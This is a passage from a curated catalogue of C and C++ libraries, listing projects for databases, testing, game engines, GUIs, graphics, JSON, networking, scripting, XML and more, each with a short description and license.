ODBC Drivers, and Tools hiberlite - C++ Object-relational mapping for sqlite3. [BSD] Hiredis - A minimalistic C client library for the Redis database. [BSD] LevelDB - A fast key-value storage library written at Google that provides an ordered mapping from string keys to string values. [BSD] LMDB - Very fast embedded key/value store with full ACID semantics. [OpenLDAP] LMDB++ - C++11 wrapper for the LMDB embedded database library. [PublicDomain] MongoDB C Driver - MongoDB client library for C. [Apache2] MongoDB C++ Driver - C++ driver for MongoDB. [Apache2] MongoDB Libbson - A BSON utility library. [Apache2] MySQL++ - A C++ wrapper for MySQL's C API. [LGPL] nanodbc - A small C++ wrapper for the native C ODBC API. [MIT] ODB - An open-source, cross-platform, and cross-database object-relational mapping (ORM) system for C++. [GPLv2] redis3m - Wrapper of hiredis with clean C++ interface, supporting sentinel and ready to use patterns. [Apache2] RocksDB - Embedded key-value store for fast storage from facebook. [BSD] SimDB - High performance, shared memory, lock free, cross platform, single file, minimal dependencies, C++11 key-value store [Apache2] SOCI - A database abstraction layer for C++. [BSL-1.0] SQLite - A completely embedded, full-featured relational database in a few 100k that you can include right into your project. [PublicDomain] SQLiteC++ - SQLiteC++ (SQLiteCpp) is a smart and easy to use C++ SQLite3 wrapper. [MIT] sqlitemoderncpp - Header only C++14 wrapper around sqlite library. [MIT] sqlite_orm - SQLite ORM light header only library for modern C++. [BSD-3-Clause] sqlpp11 - A type safe embedded domain specific language for SQL queries and results in C++. [BSD-2-Clause] TileDB - Fast Dense and Sparse Multidimensional Array DBMS. [MIT] website upscaledb - An embedded "typed" key/value store with a built-in query interface. [GPLv3] Debug Debugging Libraries, Memory Leak and Resource Leak Detection, Unit Testing backward-cpp - A beautiful stack trace pretty printer for C++. [MIT] benchmark - Google provided small microbenchmark support library. [Apache2] Boost.Test - Boost Test Library. [Boost] check - Check is a unit testing framework for C. [LGPL-2.1] website doctest - The lightest feature rich C++ single header testing framework. [MIT] Catch - A modern, C++-native, header-only, framework for unit-tests, TDD and BDD. [Boost] Catch2 - A modern, C++-native, header-only, test framework for unit-tests, TDD and BDD. [BSL-1.0] Celero - C++ Benchmarking Framework. [Apache2] CppUTest - Unit testing and mocking framework for C/C++. [BSD-3-clause] CUTE - C++ Unit Testing Easier. [LGPL3] CMocka - unit testing framework for C with support for mock objects. [Apache2] CppUnit - C++ port of JUnit. [LGPL2] CTest - The CMake test driver program. [BSD] Deleaker - A tool for resource leak detection, including memory, GDI and handle leaks. fff - A micro-framework for creating fake C functions. [MIT] Google Mock - A library for writing and using C++ mock classes. [BSD] Google Test - Google C++ Testing Framework. [BSD] ig-debugheap - Multiplatform debug heap useful for tracking down memory errors. [BSD] libtap - Write tests in C. [GPL2] MemTrack - Tracking memory allocations in C++. microprofile - Profiler with web-view for multiple platforms. [PublicDomain] MinUnit - A minimal unit testing framework for C self-contained in a single header file. [MIT] Mockator - Eclipse CDT plug-in for C++ Seams and Mock Objects. Nanotimer - A simple low-overhead cross-platform timer class for benchmarking. [zLib] website Remotery - Single C File Profiler with Web Viewer. [Apache2] UnitTest++ - A lightweight unit testing framework for C++. [MIT/X Consortium license] utest.h - Single header unit testing framework for C and C++. [Unlicense] VLD - Visual Leak Detector. A free, robust, open-source memory leak detection system for Visual C++. Game Engine Acid - A high speed C++17 Vulkan game engine. [MIT] Allegro - A cross-platform library mainly aimed for video games and multimedia programming. [zlib] Atomic Game Engine - A multi-platform 2D and 3D engine with a consistent API in C++, C#, JavaScript, and TypeScript. [Commercial] Banshee 3D - Modern C++14 game engine with Vulkan support, fully featured editor and C# scripting. [LGPL3/Commercial] Cocos2d-x - A multi-platform framework for building 2d games, interactive books, demos and other graphical applications. [MIT] delta3d - A robust simulation platform. [LGPL2] EnTT - Gaming meets modern C++. [MIT] GamePlay - A cross-platform native C++ game framework for creating 2D/3D mobile and desktop games. [Apache2] Godot - A fully featured, open source, MIT licensed, game engine. [MIT] Grit - Community project to build a free game engine for implementing open world 3D games. [MIT] KlayGE - a cross-platform open source game engine with plugin-based architecture. [GPLv2] website OpenXRay - a community-modified X-Ray engine used in S.T.A.L.K.E.R. game series. [Modified BSD/non-commercial only] Oxygine - A cross-platform 2D C++ game engine. [MIT] Panda3D - A game engine, a framework for 3D rendering and game development for Python and C++ programs. [Modified BSD] website PixelGameEngine - The official distribution of olcPixelGameEngine, a tool used in javidx9's YouTube videos and projects. [OLC3] Polycode - A cross-platform framework for creative code in C++ (with Lua bindings). [MIT] website Torque2D - An open-source and cross-platform C++ engine built for 2D game development. [MIT] website Torque3D - An open-source C++ engine built for 3D game development. [MIT] website toy engine - toy is a thin and modular c++ game engine and offers simple expressive c++ idioms to design full featured 2D or 3D games in fast iterations. Urho3D - A free lightweight, cross-platform 2D and 3D game engine implemented in C++. Greatly inspired by OGRE and Horde3D. [MIT] GUI Graphic User Interface CEGUI - Flexible, cross-platform GUI library. FLTK - Fast, light, cross-platform C++ GUI toolkit. [GPL2] GacUI - GPU Accelerated C++ User Interface, with WYSIWYG developing tools, XML supports, built-in data binding and MVVM features. [Ms-PL] GTK+ - A multi-platform toolkit for creating graphical user interfaces. [LGPL] gtkmm - The official C++ interface for the popular GUI library GTK+. [LGPL] imgui - Immediate Mode Graphical User Interface with minimal dependencies. [MIT] libRocket - libRocket is a C++ HTML/CSS game interface middleware. [MIT] libui - Simple and portable (but not inflexible) GUI library in C that uses the native GUI technologies of each platform it supports. [MIT] MyGUI - Fast, flexible and simple GUI. [MIT] nana - Nana is a cross-platform library for GUI programming in modern C++ style. [Boost] NanoGui - A minimalistic cross-platform widget library for OpenGL 3.x or higher. [BSD] nuklear - A single-header ANSI C gui library. [PublicDomain] QCustomPlot - Qt plotting widget without further dependencies. [GPLv3] Qwt - Qt Widgets for Technical Applications. [Own based on LGPL] QwtPlot3D - A feature-rich Qt/OpenGL-based C++ programming library, providing essentially a bunch of 3D-widgets. [zlib] Sciter - Sciter is an embeddable HTML/CSS/scripting engine aimed to be used as an UI layer of modern desktop applications. [Free/Commercial] wxWidgets - A C++ library that lets developers create applications for Windows, Mac OS X, Linux and other platforms with a single code base. [Own LGPL] Yue - A library for creating native cross-platform GUI apps. [LGPLv2] Graphics assimp - Open Asset Import Library (assimp) is a cross-platform 3D model import library which aims to provide a common API for different 3D asset file formats. [BSD-3-Clause] website bgfx - A cross-platform rendering library. [BSD] bs::framework - Modern C++14 library for the development of real-time graphical applications. [MIT] Cairo - A 2D graphics library with support for multiple output devices. [LGPL2 or Mozilla MPL] Diligent Engine - A modern cross-platform low-level 3D graphics library. [Apache2] DirectXTK - A collection of helper classes for writing DirectX 11.x code in C++. [MIT] GLFW - A simple, cross-platform OpenGL wrangling library. [zlib/libpng] herebedragons - A basic 3D scene implemented with various engines, frameworks or APIs. [MIT] website Horde3D - A small 3D rendering and animation engine. [EPL] Ion - A small and efficient set of libraries for building cross-platform client or server applications that use 3D graphics. [Apache2] website Irrlicht - A high performance realtime 3D engine written in C++. [zlib] libigl - Simple C++ geometry processing library. [MPL2] magnum - Lightweight and modular C++11/C++14 graphics middleware for games and data visualization. [MIT] website NanoVG - Antialiased 2D vector drawing library on top of OpenGL for UI and visualizations. [Zlib] Ogre 3D - A scene-oriented, real-time, flexible 3D rendering engine (as opposed to a game engine) written in C++. [MIT] OpenSceneGraph - An open source high performance 3D graphics toolkit. [OSGPL] OpenSubdiv - Pixar's library for evaluating and rendering subdivision surfaces on CPU and GPU. [Modified Apache2] OpenVDB - Library and tools for storing, editing, and rendering volumetric datasets. [MPL2] Panda3D - A framework for 3D rendering and game development for Python and C++. [BSD] Partio - Library for wrangling particle data, with support for most common file formats. [Modified BSD] Skia - A complete 2D graphic library for drawing Text, Geometries, and Images. [BSD] webpage TinySpline - A small, yet powerful ANSI C library for interpolating, transforming, and querying arbitrary NURBS, B-Splines, and Bézier curves. [MIT] urho3d - Cross-platform rendering and game engine. [Many different, mostly MIT] Yocto/GL - Tiny C++ Libraries for Data-Driven Physically-based Graphics. [MIT] Image Processing Boost.GIL - Generic Image Library. CImg - A small, open source, C++ toolkit for image processing. [Own LGPL or GPL] CxImage - An image processing and conversion library to load, save, display, transform BMP, JPEG, GIF, PNG, TIFF, MNG, ICO, PCX, TGA, WMF, WBMP, JBG, J2K images. [zlib] Dlib - A modern C++11 machine learning, computer vision, numerical optimization, and deep learning toolkit. [Boost] website FreeImage - An open source library that supports popular graphics image formats and others as needed by today's multimedia applications. [GPL2 or GPL3] GD - GD Graphics Library, famously used in PHP for image loading/manipulation & thumbnail generation. [custom permissive license, requires mention in user docs] website DCMTK - DICOM Toolkit. GDCM - Grassroots DICOM library. ITK - An open-source, cross-platform system for image analysis. [Apache2 from ITK 4.0] libjpeg-turbo - A JPEG image codec that uses SIMD instructions to accelerate baseline JPEG encoding and decoding. [IJG & BSD-3-Clause & zlib] website libvips - A fast image processing library with low memory needs. [LGPL] website Magick++ - ImageMagick program interfaces for C++. [Apache2] MagickWnd - ImageMagick program interfaces for C. [Apache2] OpenCV - Open source computer vision. [BSD] OpenEXR - Cross-platform library for high dynamic range imaging. [Modified BSDF] OpenImageIO - Powerful image and texture wrangling library with support for a wide number of common lossy and RAW formats. [Modified BSD] Simd - C++ image processing library with using of SIMD: SSE, SSE2, SSE3, SSSE3, SSE4.1, SSE4.2, AVX, AVX2, AVX-512, VMX(Altivec) and VSX(Power7), NEON for ARM. [MIT] stb-image - STB single-header image loading library. [Public Domain] tesseract-ocr - An OCR engine. [Apache2] TinyEXIF - Tiny ISO-compliant C++ EXIF and XMP parsing library for JPEG. [MIT] Video++ - A C++14 high performance video and image processing library. [MIT] VIGRA - A generic C++ computer vision library for image analysis. [MIT X11] VTK - Open-source, freely available software system for 3D computer graphics, image processing and visualization. [BSD] Internationalization gettext - GNU 'gettext'. [GPL2] IBM ICU - A set of C/C++ and Java libraries providing Unicode and Globalization support. [ICU] libiconv - An encoding conversion library between different character encodings. [GPL] utf8.h - Single header utf8 string functions for C and C++. [Unlicense] Inter-process communication Apache Thrift - Efficient cross-language IPC/RPC, works between C++, Java, Python, PHP, C#, and many more other languages. Originally developed by Facebook. [Apache2] Cap'n Proto - Fast data interchange format and capability-based RPC system. [MIT] gRPC - A high performance, open source, general-purpose RPC framework. [BSD] website Ice - Comprehensive RPC framework with support for C++, C#, Java, JavaScript, Python and more. [GPLv2] libjson-rpc-cpp - JSON-RPC framework for C++ servers and clients. [MIT] nanomsg - A simple high-performance implementation of several "scalability protocols". [MIT] website nng - nanomsg-next-generation, a light-weight brokerless messaging library. [MIT] website rpclib - A modern C++ msgpack-RPC server and client library. [MIT] simple-rpc-cpp - A simple RPC wrapper generator to C/C++ functions. [BSD] WAMP - Provides RPC and pub/sub messaging patterns. (various implementations, various languages) xmlrpc-c - A lightweight RPC library based on XML and HTTP. [BSD] ZeroMQ - High-speed, modular asynchronous communication library. [LGPL] JSON Boost.PropertyTree - A property tree parser/generator that can be used to parse XML/JSON/INI/Info files. [Boost] frozen - JSON parser and generator for C/C++. [GPL & GPL2] Jansson - C library for encoding, decoding and manipulating JSON data. [MIT] jbson - jbson is a library for building & iterating BSON data, and JSON documents in C++14. [Boost] JeayeSON - A very sane (header only) C++ JSON library. [BSD] Jsmn - A minimalistic JSON parser in C. [MIT] json - JSON for Modern C++. [MIT] JSON++ - A JSON parser in C++. [MIT] json.h - A simple one header/one source solution to parsing JSON in C and C++. [Unlicense] json-c - A JSON implementation in C. [MIT] JsonCpp - A C++ library for interacting with JSON. [MIT] json-parser - Very low footprint JSON parser written in portable ANSI C. [BSD] json11 - A tiny JSON library for C++11. [MIT] json-voorhees - JSON library for C++. Support for C++11. No dependencies, fast and dev-friendly. [Apache2] jute - Very simple C++ JSON Parser. [PublicDomain] libjson - A JSON parser and printer library in C. easy to integrate with any model. [LGPL] libjson - Lightweight JSON library. [?] LIBUCL - Universal configuration library parser [BSD-2-Clause] PicoJSON - A header-file-only, JSON parser serializer in C++. [BSD] qt-json - A simple class for parsing JSON data into a QVariant hierarchy and vice versa. [GPLv3] QJson - A qt-based library that maps JSON data to QVariant objects. [LGPL2] RapidJSON - A fast JSON parser/generator for C++ with both SAX/DOM style API. [MIT] sajson - Lightweight, extremely high-performance JSON parser for C++11. [MIT] ujson - µjson is a a small, C++11, UTF-8, JSON library. [MIT] YAJL - A fast streaming JSON parsing library in C. [ISC] Logging Blackhole - Attribute-based logging framework, which is designed to be fast, modular and highly customizable. [MIT] Boost.Log - Designed to be very modular and extensible. [Boost] Easylogging++ - Single header only, extremely light-weight high performance logging library for C++11 (or higher) applications. [MIT] website G3log - Asynchronous logger with Dynamic Sinks. [PublicDomain] glog - C++ implementation of the Google logging module. Log4cpp - A library of C++ classes for flexible logging to files, syslog, IDSA and other destinations. [LGPL] log4cplus - A simple to use C++ logging API providing thread-safe, flexible, and arbitrarily granular control over log management and configuration. [BSD & Apache2] loguru - A lightweight C++ logging library. [PublicDomain] plog - Portable and simple log for C++ in less than 1000 lines of code. [MPL2] reckless - Low-latency, high-throughput, asynchronous logging library for C++. [MIT] spdlog - Super fast, header only, C++ logging library. templog - A very small and lightweight C++ library which you can use to add logging to your C++ applications. [Boost] P7Baical - An open source and cross-platform library for high-speed sending telemetry & trace data with minimal usage of CPU and memory. [LGPL] Machine Learning Caffe - A fast framework for neural networks. [BSD] CCV - C-based/Cached/Core Computer Vision Library, A Modern Computer Vision Library. [BSD] Dlib - A modern C++11 machine learning, computer vision, numerical optimization, and deep learning toolkit. [Boost] website Fido - A highly-modular C++ machine learning library for embedded electronics and robotics. [MIT] website MeTA - A modern C++ data sciences toolkit. [MIT] website Minerva - A fast and flexible system for deep learning. [Apache2] mlpack - A scalable c++ machine learning library. [LGPLv3] website OpenCV - Open Source Computer Vision Library. [BSD] website Recommender - C library for product recommendations/suggestions using collaborative filtering (CF). [BSD] RNNLIB - RNNLIB is a recurrent neural network library for sequence learning problems. [GPLv3] SHOGUN - The Shogun Machine Learning Toolbox. [GPLv3] sofia-ml - The suite of fast incremental algorithms for machine learning. [Apache2] VLFeat - The VLFeat open source library implements popular computer vision algorithms specialising in image understanding and local featurexs extraction and matching. [BSD-2-Clause] website xgboost - Scalable, Portable and Distributed Gradient Boosting (GBDT, GBRT or GBM) Library, for Python, R, Java, Scala, C++ and more. Runs on single machine, Hadoop, Spark, Flink and DataFlow. [Apache2] Math Apophenia - A C library for statistical and scientific computing [GPL2] Armadillo - Fast C++ library for linear algebra & scientific computing. [Apache2] website blaze - high-performance C++ math library for dense and sparse arithmetic. [BSD] Boost.Multiprecision - provides higher-range/precision integer, rational and floating-point types in C++, header-only or with GMP/MPFR/LibTomMath backends. [Boost] ceres-solver - C++ library for modeling and solving large complicated nonlinear least squares problems from google. [BSD] CGAL - Collection of efficient and reliable geometric algorithms. [LGPL&GPL] website cml - free C++ math library for games and graphics. [Boost] Dlib - A modern C++11 machine learning, computer vision, numerical optimization, and deep learning toolkit. [Boost] website Eigen - A high-level C++ library of template headers for linear algebra, matrix and vector operations, numerical solvers and related algorithms. [MPL2] ExprTK - The C++ Mathematical Expression Toolkit Library (ExprTk) is a simple to use, easy to integrate and extremely efficient run-time mathematical expression parser and evaluation engine. [MIT] Geometric Tools - C++ library for computing in the fields of mathematics, graphics, image analysis and physics. [Boost] website GLM - Header-only C++ math library that matches and inter-operates with OpenGL's GLSL math. [MIT] GMTL - Graphics Math Template Library is a collection of tools implementing Graphics primitives in generalized ways. [GPL2] GMP - A C library for arbitrary precision arithmetic, operating on signed integers, rational numbers, and floating-point numbers. [LGPL3 & GPL2] MIRACL - A Multiprecision Integer and Rational Arithmetic Cryptographic Library. [AGPL] muparser - muParser is an extensible high performance math expression parser library written in C++. [MIT] NT2 - A SIMD-optimized numerical template library that provides an interface with MATLAB-like syntax. [Boost] LibTomMath - A free open source portable number theoretic multiple-precision integer library written entirely in C. [PublicDomain & WTFPL] website linmath.h - A lean linear math library, aimed at graphics programming. [WTFPL] lp_solve - A library used to formulate and solve linear programming problems. [LGPL] website OpenBLAS - An optimized BLAS library based on GotoBLAS2 1.13 BSD version. [BSD 3-clause] website QuantLib - A free/open-source library for quantitative finance. [Modified BSD] website StatsLib - A C++ header-only library of statistical distribution functions. [Apache2] website TinyExpr - A C library for parsing and evaluating math expressions from strings. [zlib] Vc - SIMD Vector Classes for C++. [BSD] Versor - A (fast) Generic C++ library for Geometric Algebras, including Euclidean, Projective, Conformal, Spacetime (etc). Wykobi - A C++ library of efficient, robust and simple to use C++ 2D/3D oriented computational geometry routines. [MIT] xtensor - A C++14 library for numerical analysis with multi-dimensional array expressions, inspired by NumPy syntax. [BSD 3-clause] website Memory Allocation Boehm GC - Conservative garbage collector for C and C++. [similar to X11] website Hoard - Fast, Scalable, and Memory-efficient Malloc for Linux, Windows, and Mac. [GPL, commercial] website jemalloc - General purpose malloc(3) implementation that emphasizes fragmentation avoidance and scalable concurrency support. [BSD] website Multimedia GStreamer - A library for constructing graphs of media-handling components. [LGPL] libav - A collection of libraries and tools to process multimedia content such as audio, video, subtitles and related metadata. [LGPL v2.1+ and others] website LIVE555 Streaming Media - Multimedia streaming library using open standard protocols (RTP/RTCP, RTSP, SIP). [LGPL] libVLC - libVLC (VLC SDK) media framework. [GPL] MediaInfoLib - Convenient unified display of the most relevant technical and tag data for video and audio files. [BSD] QtAv - A multimedia playback framework based on Qt and FFmpeg to write a player easily. [LGPL] website SDL - Simple DirectMedia Layer. [zlib] SFML - Simple and Fast Multimedia Library. [zlib] website TagLib - A library for reading and editing the metadata of several popular audio formats. [LGPL/MPL] website Networking ACE - An OO Network Programming Toolkit in C++. [?MIT?] Boost.Asio - A cross-platform C++ library for network and low-level I/O programming. [Boost] Breep - Event based, high-level C++14 peer-to-peer library. [EUPL-1.1 (OSI approved)] C++ REST SDK - C++ REST SDK (previously named Casablanca). [Apache2] Restbed - C++11 Asynchronous RESTful framework. [AGPL] c-ares - A C library for asynchronous DNS requests. [MIT] cpp-netlib - A collection of open-source libraries for high level network programming. [Boost] cpr - A modern C++ HTTP requests library with a simple but powerful interface. Modeled after the Python Requests module. [MIT] website curlcpp - An object oriented C++ wrapper for CURL(libcurl). [MIT] Dyad.c - Asynchronous networking for C. [MIT] ENet - Reliable UDP networking library. [MIT] website evpp - C++ high performance networking with TCP/UDP/HTTP protocols. [BSD] H2O - An optimized HTTP server with support for HTTP/1.x and HTTP/2. It can also be used as a library. [MIT] HTTP Parser - A http request/response parser for C. [MIT] libcurl - Multiprotocol file transfer library. [MIT/X derivate license] libjingle - Google talk voice and P2P interoperability library. [BSD] Libmicrohttpd - GNU libmicrohttpd is a small C library that is supposed to make it easy to run an HTTP server as part of another application. [LGPL v2.1+] libpcap - A portable C/C++ library for network traffic capture. [BSD] website libquic - A QUIC protocol library extracted from Chromium's QUIC Implementation. [BSD] libwebsockets - A lightweight pure C WebSocket implementation that provides both client and server libraries. [LGPL2.1 + static link exception] website Mongoose - Extremely lightweight webserver. [GPL2] Muduo - A C++ non-blocking network library for multi-threaded server in Linux. [BSD] nghttp2 - HTTP/2 C Library. [MIT] website nope.c - A C language-based ultra-light software platform for scalable server-side and networking applications. Think node.js for C programmers. [GPL2] Onion - HTTP server library in C designed to be lightweight and easy to use. [Apache2/GPL2] PicoHTTPParser - A tiny, primitive, fast HTTP request/response parser. [MIT] POCO - C++ class libraries and frameworks for building network- and internet-based applications that run on desktop, server, mobile and embedded systems. [Boost] website Proxygen - Facebook's collection of C++ HTTP libraries including an easy to use HTTP server. [BSD] RakNet - A cross platform, open source, C++ networking engine for game programmers. [BSD] Seasocks - Simple, small, C++ embeddable webserver with WebSockets support. [BSD] Silicon - A high performance, middleware oriented C++14 http web framework. [MIT] Tufão - An asynchronous web framework for C++ built on top of Qt. [LGPL2] uWebSockets - µWS is one of the most lightweight, efficient & scalable WebSocket & HTTP server implementations available. [Zlib] Wangle - A client/server application framework to build asynchronous, event-driven modern C++ services. [Apache-2.0] wdt - An embeddedable library (and command line tool) aiming to transfer data between 2 systems as fast as possible over multiple TCP paths. [BSD-3-Clause] WebSocket++ - C++/Boost Asio based websocket client/server library. [BSD] PDF Libraries for parsing and manipulating PDF documents. libharu - A free, cross platform, open-sourced software library for generating PDF. [zlib] MuPDF - A lightweight PDF, XPS, and E-book viewer. [AGPL/Commercial] PoDoFo - A library to work with the PDF file format. [LGPL] Poppler - Open-source multi-backend PDF rendering library based on the xpdf-3.0 code base. [GPLv2/GPLv3] Xpdf - Xpdf is a free PDF viewer and toolkit, including a text extractor, image converter, HTML converter, and more. [GPL v2/GPL v3] DynaPDF - An easy-to-use PDF generation library. [Commercial] Physics Dynamics simulation engines Box2D - A 2D physics engine for games. [BSD-like] Bullet - A 3D physics engine for games. [zlib] website Chipmunk - A fast and lightweight 2D game physics library. [MIT] website LiquidFun - A 2D physics engine for games. [BSD-like] Newton Dynamics - An integrated solution for real time simulation of physics environments. [zlib] ODE - Open Dynamics Engine - An open source, high performance library for simulating rigid body dynamics. [BSD&LGPL] ofxBox2d - openFrameworks wrapper for Box2D. [BSD-like] PhysX - An open-source realtime physics engine middleware SDK developed by Nvidia as a part of Nvidia GameWorks software suite. [BSD-3-Clause] Project Chrono - An open source multi-physics simulation engine. [BSD-3-Clause] website Simbody - High-performance C++ multibody dynamics/physics library for simulating articulated biomechanical and mechanical systems like vehicles, robots, and the human skeleton. [Apache2] Regular Expression CppVerbalExpressions - C++ regular expressions made easy. [MIT] CTRE - A Compile time PCRE (almost) compatible regular expression matcher. [MIT] PCRE - A regular expression C library inspired by the regular expression capabilities in Perl. [BSD] RE2 - A software library for regular expressions via a finite-state machine using automata theory. [BSD-3-Clause] SLRE - Super Light Regexp engine for C/C++. [GPLv2/Commercial] sregex - A non-backtracking NFA/DFA-based Perl-compatible regex engine library for matching on large data streams. [BSD] Robotics MOOS-IvP - A set of open source C++ modules for providing autonomy on robotic platforms, in particular autonomous marine vehicles. MRPT - Mobile Robot Programming Toolkit. [BSD] PCL - Point Cloud Library is a standalone, large scale, open project for 2D/3D image and point cloud processing [BSD] website Robotics Library (RL) - A self-contained C++ library for robot kinematics, motion planning and control. [BSD] RobWork - A collection of C++ libraries for simulation and control of robot systems. [Apache2] ROS - Robot Operating System provides libraries and tools to help software developers create robot applications. [BSD] Scientific Computing AMGCL - a header-only C++ library for solving large sparse linear systems with algebraic multigrid. [MIT] FFTW - A C library for computing the DFT in one or more dimensions. [GPL] GSL - GNU scientific library. [GPL] TileDB - Fast Dense and Sparse Multidimensional Array DBMS. [MIT] website Trilinos - High performance PDE solvers. [BSD] Torch - A scientific computing framework with wide support for machine learning algorithms that puts GPUs first. [BSD-3-Clause] website Scripting AngelScript - AngelScript is a game-oriented interpreted/compiled scripting language. [zlib] Boost.Python - A C++ library which enables seamless interoperability between C++ and the Python programming language. [Boost] cppimport - Import C++ files directly from Python! [MIT] CppSharp - Tools and libraries to glue C/C++ APIs to high-level languages. [MIT] ChaiScript - An easy to use embedded scripting language for C++. [BSD] website ctypes.sh - A foreign function interface for bash. [MIT] Cython - Cython is an optimising static compiler for both the Python programming language and the extended Cython programming language (based on Pyrex). It makes writing C extensions for Python as easy as Python itself. [Apache] website djinni - A tool for generating cross-language type declarations and interface bindings. [Apache2] Duktape - An embeddable Javascript engine with compact footprint. [MIT] website JavaCpp - The missing bridge between Java and native C++. [Apache2] libffi - A portable foreign-function interface library. [MIT] website Lua - A minimal and fast scripting engine for configuration files and basic application scripting. [MIT] LuaBridge - A lightweight, dependency-free library for binding Lua to C++. [MIT] luacxx - C++11 API for creating Lua bindings. [MIT] nbind - Magical headers that make your C++ library accessible from JavaScript. [MIT] pybind11 - Seamless operability between C++11 and Python. [BSD] SIP - C or C++ Bindings Generator for Python v2 and v3. [GPL] sol2 - A C++ <-> Lua API wrapper with advanced features and top notch performance. [MIT] SWIG - A wrapper/interface Generator that let you link your c++ code to Javascript, Perl, PHP, Python, Tcl and Ruby. [GPL/Output not licensed] website V7 - An embedded JavaScript engine. [GPL2] V8 - A fast JavaScript engine by Google that can be embedded into any C++ application. [BSD] ChakraCore -A JavaScript engine by Microsoft that can be embedded into nodejs. [MIT] Serialization Bond - An open source, cross-platform framework for working with schematized data. [MIT] cereal - A C++11 library for serialization. [BSD] cppcodec - Header-only C++11 library to encode/decode base64, base32 and hex with consistent, flexible API. [MIT] FlatBuffers - A Memory efficient serialization library. [Apache2] MessagePack - Efficient binary serialization format "like JSON" for C and C++. [Apache2] website nanopb - Small code-size Protocol Buffers implementation in ANSI C. [Zlib] protobuf - Protocol Buffers - Google's data interchange format. [BSD] protobuf-c - Protocol Buffers implementation in C. [BSD] SimpleBinaryEncoding - encoding and decoding application messages in binary format for low-latency applications. [Apache2] upb - A small protobuf implementation in C. [BSD] YAS - Very fast Yet Another Serialization library supports the binary/text/json formats. [Boost] Sorting pdqsort - Pattern-defeating quicksort. [zlib] Timsort - A templated stable sorting function which outperforms quicksort-based algorithms including std::sort, for reversed or semi-sorted data. [MIT] Video libvpx - VP8/VP9 Codec SDK. [BSD] FFmpeg - A complete, cross-platform solution to record, convert and stream audio and video. [LGPL2/GPL2] libde265 - Open h.265 video codec implementation. [LGPL] website x265 - Open h.265 video codec implementation. [GPL2] website OpenH264 - Open Source H.264 Codec. [BSD] website Theora - A free and open video compression format. [BSD] Vireo - A lightweight and versatile video processing library by Twitter. [MIT] Virtual Machines CarpVM - "interesting" VM in C. Let's see how this goes. [GPLv3] MicroPython - Aims to put an implementation of Python 3.x on a microcontroller. [MIT] TinyVM - A small, fast, lightweight virtual machine written in pure ANSI C. [MIT] Web Application Framework Civetweb - Provides easy to use, powerful, C/C++ embeddable web server with optional CGI, SSL and Lua support. [MIT] CppCMS - A Free High Performance Web Development Framework (not a CMS). [LGPLv3] Crow - Crow is C++ micro web framework (inspired by Python Flask). [BSD] Cutelyst - A C++ Web Framework built on top of Qt, using the simple approach of Catalyst (Perl) framework. [LGPLv2.1+] website facil.io - Evented, high performance C web framework supporting HTTP, WebSockets, SSE and more. [MIT] website Kore - ultra fast and flexible web server / framework for web applications developed in C. [ISC] libOnion - lightweight library to help you create webservers in C programming language. [LGPLv3] lwan - Experimental, scalable, high performance HTTP server. [GPL2] oat++ - Light, zero-dependency framework to create high-performance web-services. [Apache-2.0] website Pistache - Pistache is a C++ REST framework written in pure C++11 with no external dependency. [Apache2] QDjango - A web framework written in C++ and built on top of the Qt library. Where possible it tries to follow django's API, hence its name. [LGPL] TreeFrog Framework - High-speed and full-stack web application framework based on C++ and Qt, which supports HTTP and WebSocket protocol (with O/R mapping). [BSD] website Wt - A C++ library for developing web applications. [GPL/Commercial] XML XML is crap. Really. There are no excuses. XML is nasty to parse for humans, and it's a disaster to parse even for computers. There's just no reason for that horrible crap to exist. - Linus Torvalds Boost.PropertyTree - A property tree parser/generator that can be used to parse XML/JSON/INI/Info files. [Boost] Expat - An XML parser library written in C. [MIT] Libxml2 - The XML C parser and toolkit of Gnome. [MIT] libxml++ - An XML Parser for C++. [LGPL2] Mini-XML - A small XML parsing library written in ANSI C. [LGPL2 with exceptions] PugiXML - A light-weight, simple and fast XML parser for C++ with XPath support. [MIT] RapidXml - An attempt to create the fastest XML parser possible, while retaining useability, portability and reasonable W3C compatibility. [Boost] TinyXML - A simple, small, minimal, C++ XML parser that can be easily integrating into other programs. [zlib] TinyXML2 - A simple, small, efficient, C++ XML parser that can be easily integrating into other programs. [zlib] TinyXML++ - A completely new interface to TinyXML that uses MANY of the C++ strengths. Templates, exceptions, and much better error handling. [MIT] Xerces-C++ - A validating XML parser written in a portable subset of C++. [Apache2] Miscellaneous Useful libraries or tools that don't fit in the categories above or maybe just not categorised yet access_profiler - A tool to count accesses to member variables in c++ programs. [GPL3] American fuzzy lop a.k.a. afl-fuzz - Crazy fuzzing tool that automatically discovers bugs given time and minimal example input. [Apache2] Better Enums - Reflective enums (to string, iteration). Single header. [BSD] website Better String - An alternative to the string library for C which is more functional and does not have buffer overflow overrun problems. Also includes a C++ wrapper. [BSD, GPL2] Boost.Signals - An implementation of a managed signals and slots system. [Boost] DynaMix - A library which allows you to compose and modify objects at run time. [MIT] {fmt} - Small, safe and fast formatting library for C++. [Simplified BSD] FastFormat - Fast, Safe C++ Formatting inspired by log4j and Pantheios [Simplified BSD] casacore - A set of c++ core libraries derived from aips++. [LGPL] QtVerbalExpressions - This Qt lib is based off of the C++ VerbalExpressions library. [MIT] c-smart-pointers - Smart pointers for the (GNU) C programming language. [MIT] cxx-prettyprint - A pretty printing library for C++ containers. [Boost] gcc-poison - A simple header file for developers to ban unsafe C/C++ functions from applications. Kangaru - A dependency injection container for C++11 and C++14. [MIT] Klib - Small and lightweight implementations of common algorithms and data structures. [MIT] libsigc++ - A typesafe callback system for standard C++. [LGPL] libcpuid - A small C library for x86 CPU detection and feature extraction. [BSD] libevil - The Evil License Manager. [GPLv3] libnih - A lightweight library of C functions and structures. [GPL2.1] libusb - A universal USB library which allows for portable access to USB devices. [LGPL2] Mach7 - A Pattern-matching library for C++. [BSD] meta - Header-only, non-intrusive and macro-free runtime reflection system in C++. [MIT] PEGTL - The Parsing Expression Grammar Template Library, a C++11 parser library. [MIT] PHP-CPP - A library to build PHP extensions with C++. [Apache2] website Remote Call Framework - Inter-process communication framework for C++. [GPL2/Commercial] Scintilla - A free source code editing component. [MIT] SDS - Simple Dynamic Strings library for C. [BSD] semver.c - A semver parser and render in ANSI C. [MIT] Serial Communication Library - Cross-platform, Serial Port library written in C++. [MIT] sigslot - C++ Signal/Slot Library. [PublicDomain] SimpleSignal - High performance C++11 signals. [PublicDomain] Stage - Mobile robot simulator. [GPL2] stdman Formatted C++11/14 stdlib man pages (from cppreference). [MIT] stb - A range of single-file libraries for C/C++. [PublicDomain] StrTk - A C++ library consisting of high performance string processing routines. [MIT] Tulip Indicators - A C library of over 100 financial technical analysis indicators. [LGPL] 